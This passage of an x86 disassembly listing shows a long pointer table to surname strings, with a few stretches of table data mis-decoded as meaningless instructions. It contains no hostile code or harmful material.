		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
; ---------------------------------------------------------------------------
		test	al, 0FEh
		inc	edx
		add	[esi+edi*8-16FFFBEh], bl
		inc	edx
		add	[eax-7FFFBD02h], cl
		inc	byte ptr [edx+0]


loc_42E864:				; CODE XREF: ___:loc_42E864j
		jz	short loc_42E864
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[esi+edi*8+42h], al
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], cl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
; ---------------------------------------------------------------------------
		aam	0F8h
		inc	edx
		add	ah, cl
		clc
		inc	edx
		add	ah, al
		clc
		inc	edx
		add	[eax+edi*8-74BFFBEh], bh
		inc	edx
		add	[eax+edi*8-763FFBEh], ah
		inc	edx
		add	[eax+edi*8-773FFBEh], dl
		inc	edx
		add	[eax+edi*8-783FFBEh], al
		inc	edx
		add	[eax+edi*8+42h], dh
		add	[eax+edi*8+42h], ch
		add	[eax+edi*8+42h], bl
		add	[eax+edi*8+42h], dl
		add	[eax+edi*8+42h], cl
		add	[eax-8], al
		inc	edx
		add	[eax], bh
		clc
		inc	edx
		add	[eax], dh
		clc
		inc	edx
		add	[eax+edi*8], ah
		inc	edx
		add	[eax], bl
		clc
		inc	edx
		add	[eax], dl
		clc
		inc	edx
		add	[eax+edi*8], al
		inc	edx
		add	al, bh


loc_42EB41:				; CODE XREF: ___:0042EB48j
		test	dword ptr [edx+0], offset aSchmitt ; "Schmitt"
		loopne	loc_42EB41
		inc	edx
		add	al, bl
		test	dword ptr [edx+0], offset aSchutte ; "Schutte"
; ---------------------------------------------------------------------------
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
